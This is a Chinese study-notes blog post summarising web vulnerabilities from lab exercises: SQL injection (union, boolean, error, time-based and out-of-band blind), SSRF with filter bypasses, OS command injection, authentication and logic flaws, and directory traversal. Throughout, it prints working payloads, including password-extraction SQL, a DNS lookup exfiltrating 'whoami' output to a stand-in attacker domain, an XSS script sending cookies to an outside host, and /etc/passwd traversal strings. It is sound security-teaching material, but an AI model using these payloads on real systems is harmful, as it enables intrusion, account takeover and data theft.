网络安全学习阶段性总结：SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

目录

属于一个阶段性的总结吧，总结我这一周学习的各种漏洞和各种情况分析

SQL注入

本篇假设：有一个数据库叫data，其中有数据表叫users，users有三个字段：id | username | password

什么是SQL注入？

  • SQL注入是2017年OWASP TOP 1 的危险性较高的一个漏洞类型
  • 攻击者可以利用修改报文（POST）、修改URL（GET）等方式对目标WEB页面进行命令传递
  • 目的是访问甚至篡改WEB页面背后的数据库，甚至对服务器进行控制
  • 执行SQL注入常用的工具有BurpSuite、Hackbar等

掌握SQL注入之前需要了解的知识点

SQL注入情况流程分析

有完整的回显报错（最简单的情况）——检索数据：

这种情况一般都比较简单，因为可以根据报错让我们修改自己的命令；
假设存在网站：https://insecure-website.com/products?category=1 （假网站）
通过报文分析，这属于一个GET请求，所以我们可以直接在URL上面修改我们想要的值，下面开始注入流程：

  • 测试字符型注入还是数字型注入：
    • 如果这个category的值是一个字符串，那么肯定是字符型注入。但是这个值是一个数字，就需要考虑下是字符型还是数字型注入
    • 通过 1' --+和 1" --+来尝试闭合前面没有显示的符号，以达到测试的目的，查看报错信息，假如我们注入后者，如果报错信息是这样的：
      • error '1" ......' 那么是字符型注入
      • error '" ......' 那么就是数字型注入
  • 在确定了到底是字符型还是数字型后，需要检索到底有多少个字段：
    • 方法1：使用order by ：1' order by [number] --+ number填写数字，在超出字段的时候系统不会有显示，所以就可以手动出来字段数啦
    • 方法2：使用union select：1' and 1=2 union select null[,null....] --+。这里需要注意的是，有的数据库不需要使用1=2来回显union，比如access数据库，其次，使用null作为回显内容是防止因为数据类型的冲突导致报错，有的数据库不支持null的时候，只能手工用数字或者字符添加，比如 1' and 1=2 union select 1,'a',3 --+
  • 如果运气好，知道了有多少个字段之后，就需要判断回显点，比如，当我们输入1' and 1=2 union select 1,2,3 --+的时候，2和3都显示在了页面上，就说明这存在两个回显点，我们可以进一步利用这两个回显点进行查询。
  • 查询这个web所在的数据库:我们可以直接使用database()函数对当前数据库进行查询，1' and 1=2 union select 1,2,database() --+。
  • 查询所有数据库：1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 使用这个命令就可以找出所有的数据库啦，这个命令是检索information_schema.schemata所有的schema_name字段下的值
  • 查询所有数据表：1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 这个命令是指在information_schema.tables这个数据表下查询table_name字段下所有属于本数据库的数据表名称
  • 查询所有字段名：1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+ 在information_schema.columns数据表下查询column_name字段下所有属于本数据库的字段名
  • 查询账号和密码：1' and 1=2 union select 1,username,password from users --+
  • 单列检索多个值：如果只有一个字段，但是想同时出现账号密码，可以使用连接符号|| ||:比如1' and 1=2 union select username || "~"|| password from users --+ 单引号双引号要混用

这些payload需要牢记，这就是一般SQL注入过程，在这个过程里面，没有任何防御、过滤措施。
在这个过程中，我们发现，几乎可以检索到所有目标web的数据，如果不对此进行防御，这将非常危险噶
详细链接：
https://www.cnblogs.com/Zeker62/p/15167750.html
https://www.cnblogs.com/Zeker62/p/15167751.html

在HTTP报文中利用注释———危险操作

下面的两个操作都是基于观察HTTP报文来修改的，SQL注入远不能停留在URL

检索隐藏数据：

情景再现：假如对于一个购物web来说，有一个参数release，当release=1的时候，显示的是已发布的商品，但是当release=0的时候，代表的是“未发布”的隐藏商品。每当我们对一个物品进行查询的时候，查询URL如下：

https://insecure-website.com/products?category=Gifts

但这个只是表面的URL，或许我们将这个包用burpSuite抓下来，发现有两个变量：

........category=Gifts&release=1

底层的SQL语句查询为

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

这里就是一个SQL注入点：当我们将Gifts参数改成 Gifts'--++
那么底层的SQL语句就成了：

SELECT * FROM products WHERE category = 'Gifts'--++' AND released = 1

我们都知道 -- 是注释符号，所以后面的变量直接被注释掉了，这时，我们就同时看见了隐藏商品和已发布的商品，这就是，隐藏信息的查询

SQL注入导致逻辑漏洞

其实这并不好归为逻辑漏洞还是SQL注入漏洞。
情景再现 ：假如输入账号密码登录到客户端，
我们截获的报文是这样的：

username=Tom&password=123

底层的SQL语句查询是这样的：

SELECT * FROM users WHERE username = 'Tom' AND password = '123'

但是此时我们修改报文，就可能导致不需要密码验证就登录到账户，修改如下

username=Tom'--+++&password=123

那么SQL语句就成了：

SELECT * FROM users WHERE username = 'Tom'--+++' AND password = '123'

可能不需要账号密码就可以登录了

SQL注入重点——盲注！

盲注可以说是SQL注入的重点了，几乎所有真实的情况都是SQL盲注，因为稍微有点安全知识的、或者懒的开发者都不会把类似sql_error()这个函数写上去吧。

目前针对SQL盲注有三种方法：

  • 利用返回出来的web页面差异，对我们的注入语句进行判断，比如使用 1=2 、被0除这种故意营造错误
  • 如果页面没有差异，那么就可以使用时间延迟的注入，设定我们SQL语句如果执行了就晚点返回页面，可以有效判断
  • 如果上面的技术都没有用，那就剩下BurpSuite的技术：OAST了，这个技术是在Burp Collaborator Client里面的。这个原理大致是，如果语句有效，它会返回给我们的Burp Collaborator Client一些报文，这个相当于DNS服务器一样。

详细链接：https://www.cnblogs.com/Zeker62/p/15167738.html

通过触发条件响应来实现SQL盲注

情景再现：我们知道，假如你登录一个账户，如果是正确的账户，或许会显示“欢迎”，如果不正确，可能会显示“请重新输入”的界面，这种界面返回的不同相当于在说 yes 和 no，所以我们可以在后面加一些判断语句，让他告诉我们yes或者no
所以下面分析这个漏洞是如何利用的：

  • 我们输入一个正确的账户Tom，返回出“欢迎”的界面
  • 在Burp中找到HTTP history 中刚刚发过去的报文，截取下来到Repeater
  • 假设这个报文的Cookie:usernmae=Tom
  • 这个报文的底层SQL语句查询可能是：SELECT username FROM users WHERE username = 'Tom'
  • 又嗅到了SQL注入的味道。
  • 这个只会说yes和no的web，联合注入查询是没有用的，只能另辟蹊径。
  • 假设我们知道管理员的账号是Administrator
  • 可以使用Tom' AND SUBSTRING((SELECT password FROM Users WHERE username = 'Administrator'), 1, 1) > 'm 来查询管理员的密码的第一个字符是不是在ASCII编码上大于m
  • 于是底层的SQL语句就成了：SELECT username FROM users WHERE username = 'Tom' AND SUBSTRING((SELECT password FROM Users WHERE username = 'Administrator'), 1, 1) > 'm'，如果第一个密码字符是大于m的，会返回"欢迎"，所以接下来就可以使劲造了，但是这样肯定费时间了噶。
  • 我们可以先使用：Tom' and (select 'a' from users where username='Administrator' and length(password)>5)='a这个语句来确定密码长度。这里的解释是，如果password大于5，那么就会返回a字符，再与a字符比较，返回真假。如果不大于5，那就返回false ，和a比就是假了。
  • 然后再用intruder的暴力破解：Tom' and (select substring(password,$1$,1) from users where username='Administrator')='$a$这样，经过一系列的破解，最后的密码就可以算出来了

通过触发布尔错误实现SQL盲注——布尔盲注

情景再现：不管你是否成功登录了账户，没有“欢迎”和“重新输入”界面了。根据查询语句返回的任何数据，其结果不会有任何不同。
在这种情况下，可以根据注入的条件有目的去触发SQL错误，从而使得web返回不一样的响应状态码。并且我们需要在条件为true时导致数据库错误，而不是在条件为false时导致数据库错误，不理解？看下面的实操：
还是和上面的Cookie一致：

  • 输入Tom' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a 在这种情况下 ，1=2为假，所以我们可以返回a，这条语句的最终结果是true
  • 输入Tom' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a 1=1 为真，返回的是1/0，但是0不能做除数，所以一定不会返回200OK状态码。
  • 所以这样的错误导致应用程序的HTTP响应存在某些差异，我们可以使用此差异来推断注入的条件是否为真。
  • 我们使用如下语句：Tom' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a 可以判断我们的密码的第一个字符的ASCII码是不是大于m，于是可以沿用上面的暴力破解方法来算出密码
  • 另一种写法：Tom' || (select case when substr(password,§1§,1)='§a§' then to_char(1/0) else '' end from users where username='administrator') ||'
  • 个人比较喜欢第二种

通过触发时间延迟实现SQL盲注——时延盲注

情景再现：如果WEB捕获数据库错误并隐秘地处理它们。意思就是说：执行注入的SQL查询时触发数据库错误不再会导致应用程序的任何响应，也就是不再报出任何错误，所以前面的方法将没有用。
此时我们可以让返回的数据包慢一点，给判断条件上附加一个"延长收货"的功能，如果条件正确，就延长HTTP响应时间。

  • 还是沿用第一个情况的Cookie
  • 我们可以输入：Tom'%3Bselect case when(username='administrator' and length(password)>10) then sleep(10) else sleep(0) end from users --+++来判断密码长度是否大于10 ，在这里，%3B是表示分号，用于分隔执行的代码，注意：不同的SQL数据库时间延迟的函数也不一样：MySQL是sleep() 而PostgreSQL是 gp_sleep() 等等，建议查表https://portswigger.net/web-security/sql-injection/cheat-sheet
  • 比如微软数据库：Tom'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
  • 确定时延可以用之后就可以爆破了

通过OAST进行盲注——最终大招

情景再现：如果数据库是多线程并发执行的，就是在提交查询请求之后，直接先返回接收正确的报文，然后也不告诉你查询结果也不报错，上面所有的方法都没有用了，就剩下这个最终大招。
使用OAST最简单、最可靠的方法是使用Burp Collaborator。这是一个服务器，提供各种网络服务（包括DNS）的自定义实现，并允许您检测何时由于向易受攻击的应用程序发送单个有效负载而发生网络交互。Burp Suite Professional内置了对Burp Collaborator的支持，无需配置。

  • 这里涉及到XXE注入，我简单解释一下思路
  • 就是将一些数据发送到我们的OAST服务器中去，这些数据拥有我们查询的内容等等
  • 也就是，不告诉我们的东西我们都知道了

双注入

这个是我在sqli-labs 中做题做到的
链接在这：https://www.cnblogs.com/Zeker62/p/15167781.html
其实本质上报错注入的一般情况，只是SQL语句的注入比较特殊。

2021-08-21 11:24:52 星期六

SSRF 攻击

什么是SSRF攻击？

  • Server-Site Request Forgery 服务器端请求伪造攻击
  • 和CSRF不一样的是，SSRF针对的是服务器
  • 攻击者针对服务器的攻击意图控制服务器的种种操作

常见SSRF攻击情况

针对服务器本身的SSRF攻击：

情景再现：比如在一个购物网站里，客户端请求查询一个物品库存，要提供库存信息，WEB必须查询各种后端 REST API，具体取决于相关产品和商店，这个功能是通过前端 HTTP 请求将 URL 传递到相关后端 API 来实现的。因此，当用户查看商品的库存状态时，他们的浏览器会发出如下请求：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

这种情况会让服务器去检http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1这个地方的商品库存，并之后返回给用户
于是，我们可以修改这个API：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin

这样，相当于用户查询了admin的内容，之后服务器也会将admin的内容返回给客户端。
甚至，我们可以操作admin来删除一个用户：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

http://localhost/admin/delete?username=carlos

针对其他后端服务器的SSRF攻击：

当我们访问的服务器并不能访问本地的内容，但是存在一种情况：可以和后端其他的服务器进行交互。
这就属于一个内网攻击的范畴，在前面的例子里没假设有个192.168.1.100的服务器在目标服务器的网络拓扑图内
我们就可以使用SSRF来对其进行攻击

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

http://192.168.1.100/admin

绕过常见的SSRF防御

有些web的SSRF防御不严，可以绕过，毕竟SSRF没有SQL那么出名

敏感URL的混淆——坏人冒充好人

我们在进行SSRF攻击的时候，像127.0.0.1和admin这种可能是敏感的URL内容，会被过滤器检测到
有下面三种方法：

  • 使用替代的IP代替127.0.0.1：比如2130706433，017700000001，或127.1
  • 注册自己的域名为127.0.0.1 比如：spoofed.burpcollaborator.net
  • 使用 URL 编码或大小写变体混淆被阻止的字符串

友好URL的欺骗——坏人藏在好人堆里

有些服务器指定了只和哪些URL进行匹配，就相当于“白名单”一样的东西
我们可以利用白名单里面的URL对其进行一些修改，让他们既在白名单的范畴，又能执行恶意操作
方法如下：

  • 可以使用@字符在 URL 中的主机名之前嵌入凭据。例如：https://expected-host@evil-host。
  • 可以使用该#字符来表示 URL 片段。例如：https://evil-host#expected-host。
  • 可以利用 DNS 命名层次结构将所需的输入放入您控制的完全限定的 DNS 名称中。例如：https://expected-host.evil-host。
  • 可以对字符进行 URL 编码以混淆 URL 解析代码。如果实现过滤器的代码处理 URL 编码字符的方式不同于执行后端 HTTP 请求的代码，这将特别有用。
  • 可以结合性地使用这些技术。

比如：http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

重定向的SSRF漏洞

当过滤非常非常严格的时候，但是出现一个新的事情：当查到数据之后重定向页面

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

OS 命令注入

OS命令注入就是想尽一切办法，让攻击者能够对目标使用系统命令，以进行恶意操作

执行任意命令

情景再现：假设你在一个购物页面，然后你点击一个商品查看是否有货，你点开了它：
https://insecure-website.com/stockStatus?productID=381&storeID=29
这个URL传输到服务器，有可能是通过命令行工作的，比如执行了命令：
findstock.py 381 29
然后将返回值返回给了客户端
但是这种服务器并没有对输入的URL进行检测，我们可以这么干：
https://insecure-website.com/stockStatus?productID=381&whoami&&storeID=29
这样服务器的命令变成了：
findstock.py 381 &whoami& 29
命令执行过程：

  • findstock.py 381 ---参数不全，错误
  • whoami 返回账户名称
  • 29 不是命令

或者比如，修改报文如此：productId=2&storeId=3|whoami

&在注入的命令之后 放置额外的命令分隔符通常很有用，因为它将注入的命令与注入点之后的任何内容分开。这降低了以下内容阻止执行注入的命令的可能性。

这里有一些执行的常用分隔符：

command1 & command2 ：两个命令都执行
command1 && command2 ：与执行，第一个成功执行第二个才会执行
command1 | command2 ：或执行，只执行第二个
command1 ||command2：第一个执行成功，第二个不执行。第一个执行失败，第二个执行

一些常用的命令：

命令的目的 Linux Windows
当前用户名 whoami whoami
操作系统 uname -a ver
网络配置 ifconfig ipconfig /all
网络连接 netstat -an netstat -an
运行进程 ps -ef tasklist

OS命令盲注

和SQL一样，大多数情况下都是盲注。
服务器几乎不会返回执行命令后的数据，因为大多数命令都是在服务器里隐秘进行了
比如：mail命令：
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
mail命令 的输出就不会在应用程序的响应中返回，所以我们将针对这种情况进行探讨

时延盲注

只要不是遇到多线程执行的服务器，时延盲注就很有效：
在OS命令里面，最有效的方法是使用ping -c 命令，比如：

& ping -c 10 127.0.0.1 &

这个命令会让服务器ping 127.0.0.1 10秒的时间，有效实现了时延。
例如
email=x||ping+-c+10+127.0.0.1||
将两个进行了一个拼接。

重定向盲注

当服务器不能回显数值的时候，此时我们又可以通过命令访问服务器里面的文件。
我们就可以选择将命令的回显内容写入服务器的文件，然后我们再通过命令访问这个文件，就能很好地实现重定向瞒住

例如，如果应用程序从文件系统位置提供静态资源/var/www/static，那么您可以提交以下输入：

& whoami > /var/www/static/whoami.txt &

该>字符将whoami命令的输出发送到指定的文件。然后，您可以使用浏览器获取https://vulnerable-website.com/whoami.txt或者https://vulnerable-website.com/?filename=output.txt文件以检索文件，并查看注入命令的输出。

使用OAST技术实现盲注

使用带外 ( OAST ) 技术利用 OS 命令盲注入
您可以使用注入的命令，使用 OAST 技术触发与您控制的系统的带外网络进行交互。例如：

& nslookup xxxxxxxxxxxxxxxxxxxxxxx.web-attacker.com &

使用之后，我们就可以在OAST端看见此条命令被执行，结合其他命令一起输入，可以判断是否注入成功。
这种技术就需要使用Burp Collaborator的支持了

此外，我们甚至可以在其中加上命令，在burp端就可以直接回显出来：

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

这将导致对包含whoami命令结果的攻击者域进行 DNS 查找：
就可以直接返回whoami了

命令注入符号

许多字符用作命令分隔符，允许将命令链接在一起。以下命令分隔符适用于基于 Windows 和 Unix 的系统：

  • &
  • &&
  • |
  • ||

以下命令分隔符仅适用于基于 Unix 的系统：

  • ;
  • 换行符（0x0a或\n）

使用 ``(Tab键上面的英文符号) 在其中直接加入命令可直接执行

身份验证漏洞：

身份验证漏洞就是在你输入账号密码的时候，可能有各种各样的能够窃取到你的账号密码或者无密码登录。
这种漏洞的产生都是由于劣质的身份验证机制。
常见的方法有：

  • 暴力破解账号密码
  • 获取登录凭据无密码登录

具体如下

登录密码的破解：

登录密码的破解离不开暴力遍历破解，但是，根据一些其他的漏洞，我们可以很有效得缩小密码的范围，然后在短短的时间内就能轻松获取密码。当然，破解密码之前，需要一本好的字典
此外，要记住：状态码302重定向通常代表着密码的正确

根据不同的页面响应确定密码

情景假设：一个登录界面的机制是，当你输入一个用户名和密码的时候，会先检索用户名是否存在，如果存在，再搜索密码是否正确；如果用户名不存在，会直接显示：Invalid username。
根据这种情况，我们可以先去暴力破解用户名，再去暴力破解密码：

  • 假如字典里有1000个用户名和1000个密码
  • 如果先暴力破解用户名，只要不是Invalid username提示就是正确的用户名，再暴力破解密码，状态码为302就代表正确，这样下来只要尝试2000次就能得到答案
  • 如果不管不顾使用全遍历破解，则需要1000000次才能破解成功，非常耗时。

所以，在破解之前，要观察它的页面响应机制是什么

根据微小的区别页面响应确定密码

和上面的情景一样，但这次，如果用户名不存在则返回“Invalid”，如果用户名存在则返回“Invalid ”（多个空格）
这样的响应，我们肉眼几乎无法探查，所以需要用到burp这个工具
所以这里需要学习的是：当响应的不同非常小的时候，借助burp可以非常有用：

  • 我们在使用Intruder攻击的时候，转到options选项上，有个Grep的栏目，我们可以用选框框下报错的地方
  • 当这个区域范围内的内容只要和我们初始框的不太一样，就会显示出来

所以，微小的响应使得我们必须借助工具了

根据响应时间的不同来确定用户名

情景假设：用户名我们并不知道，也不会有什么响应的不同，都是Invalid，这个时候怎么办？
如果是先验证用户名再验证密码的机制的话
很显然，服务器在找到正确用户名之后还需要花时间去比对密码，这将耗费更多的时间。而错误的用户名根本就不用比对密码，根据这个差异，我们可以观察执行时间的差异来看看到底是哪个用户，这种方法也要多试几次，跟你的网络也有关
image
如图的两个地方需要开启，观察耗时最长的就是它了，之后再暴力破解密码就方便很多

破解服务器防止暴力破解对IP的限制

如果同一个IP请求访问的次数太多了，服务器可能会认为它在暴力破解，不太安全
所以有个IP锁
针对这种情况，我们可以增加一个：X-Forwarded-For或者X-Forwarded-Host
这两个的作用显示的是最原始的域名或者IP
我们在暴力破解的同时，对其也进行随机数的生成
这样服务器就会误以为是不同的IP在访问，有效绕过了IP锁

破解更强的IP限制

更强的IP限制，就是X-Forwarded-For和X-Forwarded-Host不能用了的情况
情景再现：当用户输错3次密码以上，就会提醒用户思考10分钟甚至更久。
但是如果这三次中间只要有一次输对了密码，这个计数器就会被重置
此外X-Forwarded-For和X-Forwarded-Host被和谐

  • 在这种情况下，不能在报文上做手脚了
  • 如果我们已知一个正确的用户名和密码（比如我们自己注册一个）
  • 我们可以让暴力破解的时候，让攻击者用户和被攻击者用户交替登录
  • 当被攻击者的账户登错了，再登录攻击者的账户，计数器重置
  • 这样就可以实现暴力破解攻击了
  • 最后再过滤掉我们的账户，寻找302，就可以找到我们需要的账号和密码

这种方法虽然听起来不错，但是不幸的是，这种有可能必须使用全匹配机制，而且因为正确与不正确交替，我们最坏情况就是要执行2000000次查找

JSON请求漏洞

当POST/GET 提交的密码报文以JSON的形式提交的时候，就可以修改密码：

"username" : "carlos",
"password" : [
    "123456",
    "password",
    "qwerty"
    ...
]

这样会直接返302请求

多次身份验证的漏洞

多次身份验证的意思就是，验证了账号密码，还要输入验证码，或者发送邮箱验证码到你的邮箱验证
在这里面也有许多有趣的漏洞：

绕过假的身份二次验证

有的web里面验证了账号密码就已经登录进去了，
再发送验证码到邮箱并且输入验证码就像个摆设
假如，Tom正确登录的界面是 ...?username=Tom/my-account
二次验证的URL为 ...?username=Tom/email-to-send
我们只需要更改URL后面的成为/my-account就可以正确登录啦

二次验证的逻辑漏洞

这次二次验证不是摆设了，假设在你输入验证码发送给服务器的时候，有两个变量表示那是你：

  • verify=Tom //用户名
  • email-code=3211 //验证码

服务器依靠这两个关键参数来确定Tom要不要登录
所以根据这个逻辑，我们可以将用户名改成admin，验证码使用暴力破解
这样，甚至有可能不需要密码就达到登录别人账户的目的

非常麻烦的暴力破解验证码情况（验证码有重复输入检测）

与密码一样，网站需要采取措施防止验证码的暴力破解。因为代码通常是一个简单的 4 位或 6 位数字。
如果没有足够的保护，破解这样的代码是so easy的。
一些网站试图通过在用户输入一定数量的错误验证码时自动将用户注销来防止这种情况发生。

这在实践中是无效的，因为高级攻击者甚至可以通过为 Burp Intruder创建宏来自动化这个多步骤过程。
详细见博客：https://www.cnblogs.com/Zeker62/p/15167725.html

其他的身份验证机制漏洞

Cookie验证

有些服务器将账户和密码不用明文显示出来，而是隐藏在Cookie里面 ，就需要用户自己去破解
成功破解了Cookie就相当于成功破解了账号密码的位置，
再按照生成Cookie的规则进行暴力破解即可：
比如： Cookie=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw

  • 这个Cookie的公式是：base64(username,MD5(password))
  • 所以我们在暴力破解的时候使用这个公式就能很好得攻击

在Cookie破解的时候，得到目标的Cookie公式非常重要
一般密码为MD5编码：https://www.cnblogs.com/Zeker62/p/15167723.html

离线密码破解

这一般要使用到存储型XSS功能，因为此时的攻击方式离线了，但是只要用户上线，就能截取到目标用户的账号密码
比如：
<script>document.location='//xxxxxxxxxxxxxxxx.web-security-academy.net/'+document.cookie</script>
使用这样的XSS注入代码，就能窃取到目标的Cookie了，再进行破解

密码重置逻辑漏洞

在重置密码的时候，会有一个token，但是我们删除token之后，密码也能重置成功
简单而又有危害的漏洞

通过中间件服务器重设密码中毒

情景再现，这次需要重置密码，但是需要发送到邮箱里面有个重置密码的URL
现在我们的Tom使用自己的账户，盗取ALice的账户

  • Tom点击忘记了密码，重新设置
  • Tom在重设密码的URL里面添加一个X-Forwarded-For
  • 这个指向的地址Tom的服务器
  • 并将username参数更改为Alice并发送请求。
  • 此时，系统会给Alice的邮箱发送重置密码的链接
  • Alice不知道这个东西，就点进去了
  • Alice以为是自己的账户密码重置，就完成了重置
  • 此时Tom 的服务器就出现了一个东西GET /forgot-password请求
  • 而上面有ALice的temp-forgot-password-token！
  • 将这个密码重置链接+Token粘贴到你的URL，此时你就可以重置Alice的密码了！

事物逻辑漏洞

事物逻辑漏洞是一个统称，不是特指哪一个漏洞，
逻辑漏洞存在于各种漏洞之中：身份验证有可能有逻辑错误、命令注入也可能有逻辑错误，这里进行一些举例

服务器对客户端控制的过度信任

这种情况就是说服务器将一些关键性数据暴露出来，而稍微有点技术的客户端的人就能轻易修改这些数据
情景再现：比如一件衣服的价格是1000元，但是我们可以截获报文修改这个价格是1元，结果返回给服务器的价格真的就变成了1元
这种就是对客户端的过度信任导致的漏洞

当然，我们之前介绍的二次验证中的逻辑漏洞也是源于客户端的过度信任

无法处理非常规输入

有时候可能在想，要是买东西的时候钱越变越多就好了
依据这个漏洞还真有可能：

  • 我们可以通过修改报文中的价格让价格变成负数
  • 我们可以修改商品数量让价格超出整数的取值范围变成负数（想象二进制是怎么变的）
    还有一种情况：
    就是当dontwannacry用户有高权限的时候，我们可以使用very-long-string@dontwannacry.com.YOUR-EMAIL-ID.web-security-academy.net，而此时服务器的机制就是截取前面255个字节，只要我们截取的部分刚好是very-long-string@dontwannacry.com，就能使用高权限的邮箱进行登录

用户进行对服务器有害的行为

这一般和社会工程学有关：

受信任的用户并不总是值得信赖的

一个高权限的用户可以访问/admin页面，但是它的邮箱是@dontwannacry.com地址
我们可以修改邮箱也为这种邮箱就能访问admin页面了
这意思就是将关键的操作给了用户授权，但是用户有可能是像我们这种做渗透的。

服务器不会总是要求用户强制输入

比如现在输入账号密码的时候，是不是有的时候并不要求用户输入账号密码什么
这就是一个漏洞。
比如在更改密码的时候，可能会要求输入你的当前密码，但是服务器为了速度，省去了确认密码的步骤，这就导致只需要账户就能输入密码，造成了极大的安全漏洞

用户不会总是遵循预期的顺序

这个漏洞是指，服务器规定了用户必须先发什么报文再发什么报文才能生成什么样的动作
比如购买商品：

  • 成功购买了会发送一个GET /cart/order-confirmation?order-confirmation=true报文
  • 但是我们没钱的时候，这时候不去发送一个没钱的报文，而是发送这个购买成功的报文穿插进去
  • 这时就会显示我们购买成功！

这就是对用户的行为的顺序的一种不当的推进

目录遍历漏洞

目录遍历漏洞是一种越权访问。
就是明明在这个web页面，却通过一些操作，访问这台服务器里面其他的文件，甚至重要文件

通过目录遍历读取文件

绕过常见过滤器

  • 使用文件系统的绝对路径（例如filename=/etc/passwd）来直接引用文件，而无需使用任何遍历序列。
  • 使用多个字符防止字符过滤，比如filename=....//....//....//etc/passwd
  • 当遇到更强的过滤的时候：使用 filename=..%252f..%252f..%252fetc/passwd.
  • 当遇到必须以某个预期的文件开头时，可以使用filename=/var/www/images/../../../etc/passwd
  • 当必须使用某个扩展名结尾的时候，可以使用:filename=../../../etc/passwd%00.png

现在的过滤器很强大，这个目录遍历的越权访问在一些大网站上很难实现。

写在最后

这篇文章是我对这一周所学知识的总结
耗时6个小时，差不多总结完了，但是还有靶场链接没有整理
加油！！

posted @ 2021-08-21 17:07  Zeker62  阅读(792)  评论(0)  编辑  收藏  举报